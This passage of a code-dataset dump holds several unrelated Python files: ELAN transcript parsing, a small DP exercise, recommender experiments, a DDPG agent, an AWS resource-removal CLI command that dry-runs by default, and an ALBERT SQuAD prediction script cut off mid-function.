elif(numberOfDirectChildrenOfRoot == 2):\n return(\"tokenizedWords\")\n elif(numberOfDirectChildrenOfRoot > 2):\n return(\"wordsDistributedInElements\")\n else:\n print(\"unrecognized word representation\")\n\n #----------------------------------------------------------------------------------------------------\n def getWordRepresentation(self):\n return(self.wordRepresentation)\n\n #----------------------------------------------------------------------------------------------------\n def show(self):\n\n pprint(vars(self))\n\n #----------------------------------------------------------------------------------------------------\n def getSpokenText(self):\n\n return(self.tbl.ix[0, \"TEXT\"])\n\n\n #----------------------------------------------------------------------------------------------------\n def htmlLeadIn(self, htmlDoc, audioDirectory):\n\n oneBasedLineNumber = self.lineNumber + 1\n text = \"%d)\" % oneBasedLineNumber\n htmlDoc.text(text)\n lineID = self.rootID\n audioTag = '' % (lineID, audioDirectory, lineID)\n htmlDoc.asis(audioTag)\n imageURL = \"https://www.americanlinguistics.org/wp-content/uploads/speaker.png\"\n buttonTag = '' % (lineID, imageURL)\n htmlDoc.asis(buttonTag)\n\n\n#------------------------------------------------------------------------------------------------------------------------\ndef findChildren(doc, rootElement):\n\n elementsToDo = [rootElement]\n elementsCompleted = []\n\n while(len(elementsToDo) > 0):\n currentElement = elementsToDo[0]\n parentRef = currentElement.attrib[\"ANNOTATION_ID\"]\n pattern = \"TIER/ANNOTATION/REF_ANNOTATION[@ANNOTATION_REF='%s']\" % parentRef\n childElements = doc.findall(pattern)\n elementsToDo.remove(currentElement)\n elementsCompleted.append(currentElement)\n if(len(childElements) > 0):\n elementsToDo.extend(childElements)\n\n return(elementsCompleted)\n\n#------------------------------------------------------------------------------------------------------------------------\ndef buildTable(doc, lineElements):\n\n tbl_elements = pd.DataFrame(e.attrib for e in lineElements)\n #print(tbl_elements)\n\n #pdb.set_trace()\n startTimeSlotID = tbl_elements.ix[0, 'TIME_SLOT_REF1']\n pattern = \"TIME_ORDER/TIME_SLOT[@TIME_SLOT_ID='%s']\" % startTimeSlotID\n startTime = int(doc.find(pattern).attrib[\"TIME_VALUE\"])\n startTimes = [startTime]\n rowCount = tbl_elements.shape[0]\n for i in range(1, rowCount):\n startTimes.append(float('NaN'))\n\n endTimeSlotID = tbl_elements.ix[0, 'TIME_SLOT_REF2']\n pattern = \"TIME_ORDER/TIME_SLOT[@TIME_SLOT_ID='%s']\" % endTimeSlotID\n endTime = int(doc.find(pattern).attrib[\"TIME_VALUE\"])\n endTimes = [endTime]\n for i in range(1, rowCount):\n endTimes.append(float('NaN'))\n tbl_times = pd.DataFrame({\"START\": startTimes, \"END\": endTimes})\n #print(tbl_times)\n\n\n ids = [e.attrib[\"ANNOTATION_ID\"] for e in lineElements]\n tierInfo = []\n text = []\n\n for id in ids:\n parentPattern = \"*/*/*/[@ANNOTATION_ID='%s']/../..\" % id\n tierAttributes = doc.find(parentPattern).attrib\n tierInfo.append(tierAttributes)\n childPattern = \"*/*/*/[@ANNOTATION_ID='%s']/ANNOTATION_VALUE\" % id\n elementText = doc.find(childPattern).text\n if(elementText is None):\n elementText = \"\"\n #print(\"elementText: %s\" % elementText)\n text.append(elementText.strip())\n\n tbl_tierInfo = pd.DataFrame(tierInfo)\n\n tbl_text = pd.DataFrame({\"TEXT\": text})\n\n # print(\"---- tbl_elements\")\n # print(tbl_elements)\n #\n # print(\"---- tbl_tierInfo\")\n # print(tbl_tierInfo)\n #\n # print(\"---- tbl_times\")\n # print(tbl_times)\n #\n # print(\"---- tbl_text\")\n # print(tbl_text)\n\n tbl = pd.concat([tbl_elements, tbl_tierInfo, tbl_times, tbl_text], axis=1)\n preferredColumnOrder = [\"ANNOTATION_ID\", \"LINGUISTIC_TYPE_REF\", \"START\", \"END\", \"TEXT\", \"ANNOTATION_REF\", \"TIME_SLOT_REF1\", \"TIME_SLOT_REF2\",\n \"PARENT_REF\", \"TIER_ID\"]\n tbl = tbl[preferredColumnOrder]\n textLengths = [len(t) for t in tbl[\"TEXT\"].tolist()]\n tbl[\"TEXT_LENGTH\"] = textLengths\n hasTabs = [\"\\t\" in t for t in tbl[\"TEXT\"].tolist()]\n tbl[\"HAS_TABS\"] = hasTabs\n hasSpaces = [\" \" in t for t in tbl[\"TEXT\"].tolist()]\n tbl[\"HAS_SPACES\"] = hasSpaces\n # eliminate rows with no text\n # leave it in for now, take the tiers at face value, handle empty lines in toHTML\n tbl = tbl.query(\"TEXT != ''\").reset_index(drop=True)\n return(tbl)\n\n#------------------------------------------------------------------------------------------------------------------------\n","sub_path":"design2/line.py","file_name":"line.py","file_ext":"py","file_size_in_byte":7194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"653761481","text":"import sys\n\ninput = sys.stdin.readline\n\nn = int(input())\n\na = [0, 1, 2]\n\nfor i in range(3, n + 1):\n a.append(a[i-2] + a[i-1])\n\nprint(a[n] % 10007)\n","sub_path":"11726.py","file_name":"11726.py","file_ext":"py","file_size_in_byte":150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"1275404","text":"import pandas as pd\nimport numpy as np\nimport os\n\n\nfrom uirecsys.alg import PrivacyAdversarialRecSys, BasicRecSys\nfrom uirecsys.data import ML1M\n\n\nbase_path = os.path.expanduser(\"~/Downloads/ml-1m/\")\ndata = ML1M(base_path)\n\n\ndef sweep_emb_size_regular(epochs=50):\n for emb_size in [10, 20, 50, 100, 200, 300]:\n name = \"recsys_basic_\" + \"emb_size-{}-\".format(emb_size) + \"epochs-{}-\".format(epochs)\n recsys = BasicRecSys(n_users=data.nusers, n_items=data.nitems, emb_size=emb_size, name=name)\n recsys.fit(data.generator(batch_size=256), epochs=epochs, steps_epoch=data.nsamples // 256 + 1)\n\n\ndef seep_emb_lambda(epochs=50):\n for emb_size in [50]:\n for adv_lambda in [10]:\n name = \"recsys_basic_\" + \"emb_size-{}-\".format(emb_size) + \"lambda-({})-\".format(adv_lambda) + \"epochs-{}-\".format(epochs)\n recsys = PrivacyAdversarialRecSys(n_users=data.nusers, n_items=data.nitems, emb_size=emb_size, name=name,\n adversarial_lambda=adv_lambda)\n recsys.fit(data.generator_with_gender_age(batch_size=256), epochs=epochs, steps_epoch=data.nsamples // 256 + 1)\n\n\nif __name__ == \"__main__\":\n # sweep_emb_size_regular(epochs=50)\n seep_emb_lambda()\n\n\n","sub_path":"uirecsys/experiments/exp0.py","file_name":"exp0.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"282146712","text":"\"\"\"RL Agent utilizes DDPG algorithm\n\nAdapted from https://github.com/udacity/deep-reinforcement-learning/tree/master/ddpg-pendulum\n\"\"\"\n\nimport copy\nfrom collections import namedtuple, deque\nimport numpy as np\nimport random\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n\nfrom model import Actor, Critic\n\n# hyper parameters\nBUFFER_SIZE = int(1e5) # replay buffer size\nBATCH_SIZE = 128 # minibatch size\nGAMMA = 0.99 # discount factor\nTAU = 1e-3 # for soft update of parameters\nLR_ACTOR = 1e-4 # learning rate for actor\nLR_CRITIC = 1e-4 # learning rate for critic\nWEIGHT_DECAY = 0 # L2 weight decay\n\ndevice = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n\n\nclass Agent():\n def __init__(self,\n state_size: int,\n action_size: int,\n random_seed: int,\n wiener_random: bool = False):\n \"\"\"Initialize an Agent object\n Params\n =====\n state_size: dimension of each state\n action_size: dimension of each action\n random_seed: random seed\n \"\"\"\n self.state_size = state_size\n self.action_size = action_size\n self.seed = random.seed(random_seed)\n\n # Actor network (w/ Target Network)\n self.actor_local = Actor(self.state_size, self.action_size,\n random_seed).to(device)\n self.actor_target = Actor(self.state_size, self.action_size,\n random_seed).to(device)\n self.actor_optimzer = optim.Adam(self.actor_local.parameters(),\n lr=LR_ACTOR)\n\n # Critic network (w/ Target Network)\n self.critic_local = Critic(self.state_size, self.action_size,\n random_seed).to(device)\n self.critic_target = Critic(self.state_size, self.action_size,\n random_seed).to(device)\n self.critic_optimizer = optim.Adam(self.critic_local.parameters(),\n lr=LR_CRITIC,\n weight_decay=WEIGHT_DECAY)\n\n # Noise Process\n self.noise = OUNoise(action_size, random_seed)\n\n # Replay buffer\n self.memory = ReplayBuffer(action_size, BUFFER_SIZE, BATCH_SIZE,\n random_seed)\n\n def step(self, states, actions, rewards, next_states, dones):\n \"\"\"Save experience in replay buffer, and use radom samples from buffer to learn\n \"\"\"\n # gather experiences from all agents\n for state, action, reward, next_state, done in zip(\n states, actions, rewards, next_states, dones):\n self.memory.add(state, action, reward, next_state, done)\n # learn\n if len(self.memory) > BATCH_SIZE:\n experiences = self.memory.sample()\n self.learn(experiences, GAMMA)\n\n def act(self, states, add_noise=True):\n \"\"\"Returns actions for given states as per current policy\n \"\"\"\n states = torch.from_numpy(states).float().to(device)\n self.actor_local.eval()\n with torch.no_grad():\n actions = self.actor_local(states).cpu().data.numpy()\n self.actor_local.train()\n\n if add_noise:\n actions += self.noise.sample()\n return np.clip(actions, -1, 1)\n\n def reset(self):\n self.noise.reset()\n\n def learn(self, experiences, gamma):\n \"\"\"Update policy and value parameters using giving batch of experince tuples\n Q_targets = r + gamma * critic_target(next_state, actor_target(next_state))\n where:\n actor_target(state) -> action\n critic_target(state, action) -> Q-value\n \"\"\"\n # unpack\n states, actions, rewards, next_states, dones = experiences\n\n # ------------ updata critic -----------------#\n # get predicted actions fro next_states and calculate the Q-value\n actions_next = self.actor_target(next_states)\n Q_targets_next = self.critic_target(next_states, actions_next)\n\n # compute the target Q-value\n Q_targets = rewards + gamma * Q_targets_next * (1 - dones)\n\n # use local network to get expected Q-value and calculate loss\n Q_expected = self.critic_local(states, actions)\n critic_loss = F.mse_loss(Q_expected, Q_targets)\n\n # minimize the loss\n self.critic_optimizer.zero_grad()\n critic_loss.backward()\n # clip the gradient, how to decide the max_norm?\n torch.nn.utils.clip_grad_norm_(self.critic_local.parameters(), 1)\n self.critic_optimizer.step()\n\n # ------------ update actor -----------------#\n # compute actor loss\n actions_pred = self.actor_local(states)\n actor_loss = -self.critic_local(states, actions_pred).mean()\n self.actor_optimzer.zero_grad()\n actor_loss.backward()\n self.actor_optimzer.step()\n\n # ------------ update target networks --------#\n self.soft_update(self.actor_local, self.actor_target, TAU)\n self.soft_update(self.critic_local, self.critic_target, TAU)\n\n def soft_update(self, local_model, target_model, tau: float):\n \"\"\"Soft update model parameters\n theta_target = tau * theta_local + (1 - tau)*theta_target\n\n Params\n =====\n local_model: model that weights will be copied from\n target_model: model that weights will be copied to\n tau: soft update factor\n \"\"\"\n for target_param, local_param in zip(target_model.parameters(),\n local_model.parameters()):\n target_param.data.copy_(tau * local_param.data +\n (1 - tau) * target_param.data)\n\n\nclass OUNoise:\n \"\"\"Ornstein-Uhlenbeck process.\"\"\"\n def __init__(self,\n size,\n seed,\n mu=0.,\n theta=0.15,\n sigma=0.2,\n wiener_random=False):\n \"\"\"Initialize parameters and noise process\n Params:\n size: dimension of the output\n mu, theta, sigma: params for Ornstein-Uhlenbeck process\n wiener_random: True, represents Wiener process as random.random else standard_normal\n \"\"\"\n self.mu = mu * np.ones(size)\n self.theta = theta\n self.sigma = sigma\n self.seed = random.seed(seed)\n self.wiener_random = wiener_random\n self.size = size\n self.reset()\n\n def reset(self):\n \"\"\"Reset the internal state (= noise) to mean (mu)\"\"\"\n self.state = copy.copy(self.mu)\n\n def sample(self):\n \"\"\"Update internal state and return it as a noise sample.\"\"\"\n x = self.state\n if self.wiener_random:\n dx = self.theta * (self.mu - x) + self.sigma * np.array(\n [random.random() for i in range(len(x))])\n else:\n dx = self.theta * (self.mu -\n x) + self.sigma * np.random.standard_normal(\n self.size)\n self.state = x + dx\n return self.state\n\n\nclass ReplayBuffer:\n \"\"\"Fixed-size buffer to store experience tuples.\"\"\"\n def __init__(self, action_size, buffer_size, batch_size, seed):\n \"\"\"Initialize a ReplayBuffer object\n Params\n =====\n action_size: dimension of action\n buffer_size: max size of buffer\n batch_size: size of each training batch\n seed: random seed\n \"\"\"\n self.action_size = action_size\n self.memory = deque(maxlen=buffer_size)\n self.batch_size = batch_size\n self.experience = namedtuple(\n 'Experience',\n field_names=['state', 'action', 'reward', 'next_state', 'done'])\n self.seed = random.seed(seed)\n\n def add(self, state, action, reward, next_state, done):\n \"\"\"Add a new experience to memory.\"\"\"\n e = self.experience(state, action, reward, next_state, done)\n self.memory.append(e)\n\n def sample(self):\n \"\"\"Randomly sample a batch of experiences from memory\"\"\"\n experiences = random.sample(self.memory, k=self.batch_size)\n states = torch.from_numpy(\n np.vstack([e.state for e in experiences\n if e is not None])).float().to(device)\n actions = torch.from_numpy(\n np.vstack([e.action for e in experiences\n if e is not None])).float().to(device)\n rewards = torch.from_numpy(\n np.vstack([e.reward for e in experiences\n if e is not None])).float().to(device)\n next_states = torch.from_numpy(\n np.vstack([e.next_state for e in experiences\n if e is not None])).float().to(device)\n dones = torch.from_numpy(\n np.vstack([e.done for e in experiences\n if e is not None]).astype(np.uint8)).float().to(device)\n\n return (states, actions, rewards, next_states, dones)\n\n def __len__(self):\n \"\"\"Return the current size of internal mermory\"\"\"\n return len(self.memory)\n","sub_path":"p2_continuous-control/ddpg_agent.py","file_name":"ddpg_agent.py","file_ext":"py","file_size_in_byte":9233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"551645067","text":"\"\"\"\nRemove or deprovision AWS EC2, IAM, and other resources. By default, this command performs a dry run; the -f/--force\noption is required to actually execute the operation.\n\nList resources to be removed by their ID or ARN, such as ami-eb957a8b, AIDAJYZD67Q2SUMUA2JBC, or\narn:aws:iam::123456789012:user/foo.\n\nEC2 key pairs have no ARNs and no distingiushing ID prefix. To delete them by name, use the --key-pair option.\n\"\"\"\n\nimport os, sys, argparse, subprocess, time\nfrom . import register_parser, logger\nfrom .util.aws import expect_error_codes, resources, clients\nfrom botocore.exceptions import ClientError\n\ndef rm(args):\n for name in args.names:\n try:\n if args.key_pair:\n resources.ec2.KeyPair(name).delete(DryRun=not args.force)\n elif args.elb:\n if args.force:\n clients.elb.delete_load_balancer(LoadBalancerName=name)\n else:\n clients.elb.describe_load_balancer_attributes(LoadBalancerName=name)\n elif getattr(args, \"lambda\"):\n if args.force:\n getattr(clients, \"lambda\").delete_function(FunctionName=name)\n else:\n getattr(clients, \"lambda\").get_function(FunctionName=name)\n elif name.startswith(\"sg-\"):\n resources.ec2.SecurityGroup(name).delete(DryRun=not args.force)\n elif name.startswith(\"vol-\"):\n resources.ec2.Volume(name).delete(DryRun=not args.force)\n elif name.startswith(\"snap-\"):\n resources.ec2.Snapshot(name).delete(DryRun=not args.force)\n elif name.startswith(\"fl-\"):\n if args.force:\n clients.ec2.delete_flow_logs(FlowLogIds=[name])\n else:\n res = clients.ec2.describe_flow_logs(Filters=[dict(Name=\"flow-log-id\", Values=[name])])\n assert res[\"FlowLogs\"], \"Unknown flow log ID\"\n elif name.startswith(\"ami-\"):\n image = resources.ec2.Image(name)\n snapshot_id = image.block_device_mappings[0].get(\"Ebs\", {}).get(\"SnapshotId\")\n image.deregister(DryRun=not args.force)\n if snapshot_id:\n resources.ec2.Snapshot(snapshot_id).delete(DryRun=not args.force)\n elif name.startswith(\"sir-\"):\n clients.ec2.cancel_spot_instance_requests(SpotInstanceRequestIds=[name], DryRun=not args.force)\n elif name.startswith(\"sfr-\"):\n clients.ec2.cancel_spot_fleet_requests(SpotFleetRequestIds=[name],\n TerminateInstances=False,\n DryRun=not args.force)\n elif name.startswith(\"fs-\"):\n efs = clients.efs\n for mount_target in efs.describe_mount_targets(FileSystemId=name)[\"MountTargets\"]:\n if args.force:\n efs.delete_mount_target(MountTargetId=mount_target[\"MountTargetId\"])\n try:\n while efs.describe_mount_targets(MountTargetId=mount_target[\"MountTargetId\"]):\n time.sleep(1)\n except ClientError as e:\n expect_error_codes(e, \"MountTargetNotFound\")\n efs.delete_file_system(FileSystemId=name) if args.force else True\n elif name.startswith(\"AKIA\") and len(name) == 20 and name.upper() == name:\n clients.iam.delete_access_key(AccessKeyId=name) if args.force else True\n elif name.startswith(\"AROA\") and len(name) == 21 and name.upper() == name:\n for role in resources.iam.roles.all():\n if role.role_id == name:\n logger.info(\"Deleting %s\", role)\n for instance_profile in role.instance_profiles.all():\n instance_profile.remove_role(RoleName=role.name) if args.force else True\n instance_profile.delete() if args.force else True\n for policy in role.attached_policies.all():\n role.detach_policy(PolicyArn=policy.arn) if args.force else True\n role.delete() if args.force else True\n else:\n raise Exception(\"Role {} not found\".format(name))\n else:\n raise Exception(\"Name {} not recognized as an AWS resource\".format(name))\n except ClientError as e:\n expect_error_codes(e, \"DryRunOperation\")\n if not args.force:\n logger.info(\"Dry run succeeded on %s. Run %s again with --force (-f) to actually remove.\", args.names, __name__)\n\nparser = register_parser(rm, help=\"Remove or deprovision resources\", description=__doc__)\nparser.add_argument(\"names\", nargs=\"+\")\nparser.add_argument(\"-f\", \"--force\", action=\"store_true\")\nparser.add_argument(\"--key-pair\", action=\"store_true\", help=\"\"\"\nAssume input names are EC2 SSH key pair names (required when deleting key pairs, since they have no ID or ARN)\"\"\")\nparser.add_argument(\"--elb\", action=\"store_true\", help=\"\"\"\nAssume input names are Elastic Load Balancer names (required when deleting ELBs, since they have no ID or ARN)\"\"\")\nparser.add_argument(\"--lambda\", action=\"store_true\", help=\"\"\"\nAssume input names are Lambda function names (required when deleting Lambdas, since they have no ID or ARN)\"\"\")\n","sub_path":"aegea/rm.py","file_name":"rm.py","file_ext":"py","file_size_in_byte":5494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"327030729","text":"from __future__ import absolute_import, division, print_function\n\nimport copy\nimport functools\nimport json\nimport math\nimport os\n\nimport tensorflow as tf\nfrom absl import app, flags, logging\n\nimport input_pipeline\nimport squad_lib\nimport tokenization\nimport tf_utils\nfrom albert import AlbertConfig, AlbertModel\nimport attention\n\nflags.DEFINE_enum(\n 'mode', 'predict',\n ['train_and_predict', 'train', 'predict'],\n 'One of {\"train_and_predict\", \"train\", \"predict\"}. '\n '`train_and_predict`: both train and predict to a json file. '\n '`train`: only trains the model. '\n '`predict`: predict answers from the squad json file. ')\n\n# Predict processing related.\n\nflags.DEFINE_string('model_name','tuned_albert','Name of Model to execute')\n\nflags.DEFINE_string('predict_file', None,\n 'Prediction data path with train tfrecords.')\nflags.DEFINE_integer('predict_batch_size', 8,\n 'Total batch size for predicting.')\n\nflags.DEFINE_integer(\n 'n_best_size', 20,\n 'The total number of n-best predictions to generate in the '\n 'nbest_predictions.json output file.')\n\nflags.DEFINE_integer(\n 'max_answer_length', 30,\n 'The maximum length of an answer that can be generated. This is needed '\n 'because the start and end predictions are not conditioned on one another.')\n\nflags.DEFINE_integer(\n 'doc_stride', 128,\n 'doc_stride'\n 'doc_stride')\n\nflags.DEFINE_integer(\n 'max_query_length', 64,\n 'max_query_length'\n 'max_query_length')\n \nflags.DEFINE_string(\n \"albert_config_file\", 'config.json',\n \"The config json file corresponding to the pre-trained ALBERT model. \"\n \"This specifies the model architecture.\")\n\n\nflags.DEFINE_string(\"spm_model_file\", '30k-clean.model',\n \"The model file for sentence piece tokenization.\")\n\nflags.DEFINE_string(\n \"model_dir\", '',\n \"The output directory where the model checkpoints will be written.\")\n\nflags.DEFINE_string(\n \"checkpoint_path\", 'ctl_step_6992.ckpt-3',\n \"The output directory where the model checkpoints will be written.\")\n\nflags.DEFINE_enum(\n \"strategy_type\", \"cpu\", [\"one\", \"mirror\", \"cpu\"],\n \"Training strategy for single or multi gpu training\")\n\n# Other parameters\n\nflags.DEFINE_string(\n \"init_checkpoint\", None,\n \"Initial checkpoint (usually from a pre-trained ALBERT model).\")\n\nflags.DEFINE_bool(\n \"do_lower_case\", True,\n \"Whether to lower case the input text. Should be True for uncased \"\n \"models and False for cased models.\")\n\nflags.DEFINE_integer(\n \"max_seq_length\", 384,\n \"The maximum total input sequence length after WordPiece tokenization. \"\n \"Sequences longer than this will be truncated, and sequences shorter \"\n \"than this will be padded.\")\n\nflags.DEFINE_integer(\"start_n_top\", default=5,\n help=\"Beam size for span start.\")\n\nflags.DEFINE_integer(\"end_n_top\", default=5, help=\"Beam size for span end.\")\n\n\nflags.DEFINE_bool(\n \"version_2_with_negative\", True,\n \"If true, the SQuAD examples contain some that do not have an answer.\")\n\nflags.DEFINE_float(\n \"null_score_diff_threshold\", 0.0,\n \"If null_score - best_non_null is greater than the threshold predict null.\")\n\nflags.DEFINE_integer(\"seed\", 42, \"random_seed\")\n\n\nFLAGS = flags.FLAGS\n\nclass ALBertQALayer(tf.keras.layers.Layer):\n \"\"\"Layer computing position and is_possible for question answering task.\"\"\"\n\n def __init__(self, hidden_size, start_n_top, end_n_top, initializer, dropout, **kwargs):\n \"\"\"Constructs Summarization layer.\n Args:\n hidden_size: Int, the hidden size.\n start_n_top: Beam size for span start.\n end_n_top: Beam size for span end.\n initializer: Initializer used for parameters.\n dropout: float, dropout rate.\n **kwargs: Other parameters.\n \"\"\"\n super(ALBertQALayer, self).__init__(**kwargs)\n self.hidden_size = hidden_size\n self.start_n_top = start_n_top\n self.end_n_top = end_n_top\n self.initializer = initializer\n self.dropout = dropout\n\n def build(self, unused_input_shapes):\n \"\"\"Implements build() for the layer.\"\"\"\n self.start_logits_proj_layer = tf.keras.layers.Dense(\n units=1, kernel_initializer=self.initializer, name='start_logits/dense')\n self.end_logits_proj_layer0 = tf.keras.layers.Dense(\n units=self.hidden_size,\n kernel_initializer=self.initializer,\n activation=tf.nn.tanh,\n name='end_logits/dense_0')\n self.end_logits_proj_layer1 = tf.keras.layers.Dense(\n units=1, kernel_initializer=self.initializer, name='end_logits/dense_1')\n self.end_logits_layer_norm = tf.keras.layers.LayerNormalization(\n axis=-1, epsilon=1e-12, name='end_logits/LayerNorm')\n self.answer_class_proj_layer0 = tf.keras.layers.Dense(\n units=self.hidden_size,\n kernel_initializer=self.initializer,\n activation=tf.nn.tanh,\n name='answer_class/dense_0')\n self.answer_class_proj_layer1 = tf.keras.layers.Dense(\n units=1,\n kernel_initializer=self.initializer,\n use_bias=False,\n name='answer_class/dense_1')\n self.ans_feature_dropout = tf.keras.layers.Dropout(rate=self.dropout)\n super(ALBertQALayer, self).build(unused_input_shapes)\n\n def __call__(self,\n sequence_output,\n p_mask,\n cls_index,\n start_positions=None,\n **kwargs):\n inputs = tf_utils.pack_inputs(\n [sequence_output, p_mask, cls_index, start_positions])\n return super(ALBertQALayer, self).__call__(inputs, **kwargs)\n\n\n def call(self, inputs, **kwargs):\n \"\"\"Implements call() for the layer.\"\"\"\n unpacked_inputs = tf_utils.unpack_inputs(inputs)\n sequence_output = unpacked_inputs[0]\n p_mask = unpacked_inputs[1]\n cls_index = unpacked_inputs[2]\n start_positions = unpacked_inputs[3]\n\n _, seq_len, _ = sequence_output.shape.as_list()\n sequence_output = tf.transpose(sequence_output, [1, 0, 2])\n\n start_logits = self.start_logits_proj_layer(sequence_output)\n start_logits = tf.transpose(tf.squeeze(start_logits, -1), [1, 0])\n start_logits_masked = start_logits * (1 - p_mask) - 1e30 * p_mask\n start_log_probs = tf.nn.log_softmax(start_logits_masked, -1)\n\n if kwargs.get(\"training\", False):\n # during training, compute the end logits based on the\n # ground truth of the start position\n start_positions = tf.reshape(start_positions, [-1])\n start_index = tf.one_hot(start_positions, depth=seq_len, axis=-1,\n dtype=tf.float32)\n start_features = tf.einsum(\n 'lbh,bl->bh', sequence_output, start_index)\n start_features = tf.tile(start_features[None], [seq_len, 1, 1])\n end_logits = self.end_logits_proj_layer0(\n tf.concat([sequence_output, start_features], axis=-1))\n\n end_logits = self.end_logits_layer_norm(end_logits)\n\n end_logits = self.end_logits_proj_layer1(end_logits)\n end_logits = tf.transpose(tf.squeeze(end_logits, -1), [1, 0])\n end_logits_masked = end_logits * (1 - p_mask) - 1e30 * p_mask\n end_log_probs = tf.nn.log_softmax(end_logits_masked, -1)\n else:\n start_top_log_probs, start_top_index = tf.nn.top_k(\n start_log_probs, k=self.start_n_top)\n start_index = tf.one_hot(\n start_top_index, depth=seq_len, axis=-1, dtype=tf.float32)\n start_features = tf.einsum(\n 'lbh,bkl->bkh', sequence_output, start_index)\n end_input = tf.tile(sequence_output[:, :, None], [\n 1, 1, self.start_n_top, 1])\n start_features = tf.tile(start_features[None], [seq_len, 1, 1, 1])\n end_input = tf.concat([end_input, start_features], axis=-1)\n end_logits = self.end_logits_proj_layer0(end_input)\n end_logits = tf.reshape(end_logits, [seq_len, -1, self.hidden_size])\n end_logits = self.end_logits_layer_norm(end_logits)\n\n end_logits = tf.reshape(end_logits,\n [seq_len, -1, self.start_n_top, self.hidden_size])\n\n end_logits = self.end_logits_proj_layer1(end_logits)\n end_logits = tf.reshape(\n end_logits, [seq_len, -1, self.start_n_top])\n end_logits = tf.transpose(end_logits, [1, 2, 0])\n end_logits_masked = end_logits * (\n 1 - p_mask[:, None]) - 1e30 * p_mask[:, None]\n end_log_probs = tf.nn.log_softmax(end_logits_masked, -1)\n end_top_log_probs, end_top_index = tf.nn.top_k(\n end_log_probs, k=self.end_n_top)\n end_top_log_probs = tf.reshape(end_top_log_probs,\n [-1, self.start_n_top * self.end_n_top])\n end_top_index = tf.reshape(end_top_index,\n [-1, self.start_n_top * self.end_n_top])\n\n # an additional layer to predict answerability\n\n # get the representation of CLS\n cls_index = tf.one_hot(cls_index, seq_len, axis=-1, dtype=tf.float32)\n cls_feature = tf.einsum('lbh,bl->bh', sequence_output, cls_index)\n\n # get the representation of START\n start_p = tf.nn.softmax(start_logits_masked,\n axis=-1, name='softmax_start')\n start_feature = tf.einsum('lbh,bl->bh', sequence_output, start_p)\n\n ans_feature = tf.concat([start_feature, cls_feature], -1)\n ans_feature = self.answer_class_proj_layer0(ans_feature)\n ans_feature = self.ans_feature_dropout(\n ans_feature, training=kwargs.get('training', False))\n cls_logits = self.answer_class_proj_layer1(ans_feature)\n cls_logits = tf.squeeze(cls_logits, -1)\n\n if kwargs.get(\"training\", False):\n return (start_log_probs, end_log_probs, cls_logits)\n else:\n return (start_top_log_probs, start_top_index, end_top_log_probs, end_top_index, cls_logits)\n\n\nclass ALBertQAModel(tf.keras.Model):\n\n def __init__(self, albert_config, max_seq_length, init_checkpoint, start_n_top, end_n_top, dropout=0.1, **kwargs):\n super(ALBertQAModel, self).__init__(**kwargs)\n self.albert_config = copy.deepcopy(albert_config)\n self.initializer = tf.keras.initializers.TruncatedNormal(\n stddev=self.albert_config.initializer_range)\n float_type = tf.float32\n\n input_word_ids = tf.keras.layers.Input(\n shape=(max_seq_length,), dtype=tf.int32, name='input_word_ids')\n input_mask = tf.keras.layers.Input(\n shape=(max_seq_length,), dtype=tf.int32, name='input_mask')\n input_type_ids = tf.keras.layers.Input(\n shape=(max_seq_length,), dtype=tf.int32, name='input_type_ids')\n\n albert_layer = AlbertModel(config=albert_config, float_type=float_type)\n\n _, sequence_output = albert_layer(\n input_word_ids, input_mask, input_type_ids)\n\n self.albert_model = tf.keras.Model(inputs=[input_word_ids, input_mask, input_type_ids],\n outputs=[sequence_output])\n if init_checkpoint != None:\n self.albert_model.load_weights(init_checkpoint)\n\n self.qalayer = ALBertQALayer(self.albert_config.hidden_size, start_n_top, end_n_top,\n self.initializer, dropout)\n\n def call(self, inputs, **kwargs):\n # unpacked_inputs = tf_utils.unpack_inputs(inputs)\n unique_ids = inputs[\"unique_ids\"]\n input_word_ids = inputs[\"input_ids\"]\n input_mask = inputs[\"input_mask\"]\n segment_ids = inputs[\"segment_ids\"]\n cls_index = tf.reshape(inputs[\"cls_index\"], [-1])\n p_mask = inputs[\"p_mask\"]\n if kwargs.get('training',False):\n start_positions = inputs[\"start_positions\"]\n else:\n start_positions = None\n sequence_output = self.albert_model(\n [input_word_ids, input_mask, segment_ids], **kwargs)\n output = self.qalayer(\n sequence_output, p_mask, cls_index, start_positions, **kwargs)\n return (unique_ids,) + output\n\ndef get_raw_results_v2(predictions):\n \"\"\"Converts multi-replica predictions to RawResult.\"\"\"\n for unique_ids, start_top_log_probs, start_top_index, end_top_log_probs, end_top_index, cls_logits in zip(predictions['unique_ids'],\n predictions['start_top_log_probs'],\n predictions['start_top_index'],\n predictions['end_top_log_probs'],\n predictions['end_top_index'],\n predictions['cls_logits']):\n for values in zip(unique_ids.numpy(), start_top_log_probs.numpy(), start_top_index.numpy(), end_top_log_probs.numpy(), end_top_index.numpy(), cls_logits.numpy()):\n yield squad_lib.RawResultV2(\n unique_id=values[0],\n start_top_log_probs=values[1].tolist(),\n start_top_index=values[2].tolist(),\n end_top_log_probs=values[3].tolist(),\n end_top_index=values[4].tolist(),\n cls_logits=values[5].tolist()\n )\n\ndef get_Answers(checkpoint_path, squad_model, strategy, predict_dataset, num_steps):\n\n predict_iterator = iter(\n strategy.experimental_distribute_dataset(predict_dataset))\n\n #checkpoint_path = FLAGS.checkpoint_path #tf.train.latest_checkpoint(FLAGS.model_dir)\n logging.info('Restoring checkpoints from %s', checkpoint_path)\n checkpoint = tf.train.Checkpoint(model=squad_model)\n checkpoint.restore(checkpoint_path).expect_partial()\n\n @tf.function\n def predict_step(iterator):\n \"\"\"Predicts on distributed devices.\"\"\"\n\n def _replicated_step(inputs):\n \"\"\"Replicated prediction calculation.\"\"\"\n x, _ = inputs\n if FLAGS.version_2_with_negative:\n y = squad_model(x, training=False)\n unique_ids, start_top_log_probs, start_top_index, end_top_log_probs, end_top_index, cls_logits = y\n return dict(unique_ids=unique_ids,\n start_top_log_probs=start_top_log_probs,\n start_top_index=start_top_index,\n end_top_log_probs=end_top_log_probs,\n end_top_index=end_top_index,\n 